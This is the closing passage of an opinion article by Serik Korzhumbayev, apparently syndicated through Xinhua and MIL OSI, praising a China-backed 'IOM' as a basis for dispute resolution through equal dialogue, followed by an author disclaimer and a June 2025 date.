    The creation of the IOM under the auspices of China is not just a diplomatic victory. It is an invitation to the world to resolve disputes not from a position of strength, but through equal dialogue. And if this structure works effectively, it will become the basis for a new architecture of international relations – more just, peaceful and inclusive.

    Note: Serik Korzhumbayev is the editor-in-chief of the newspaper “Business Kazakhstan”.

    The views expressed in this article are those of the author and do not necessarily reflect the views of Xinhua News Agency. –0–

    MIL OSI Russia News –

    June 6, 2025
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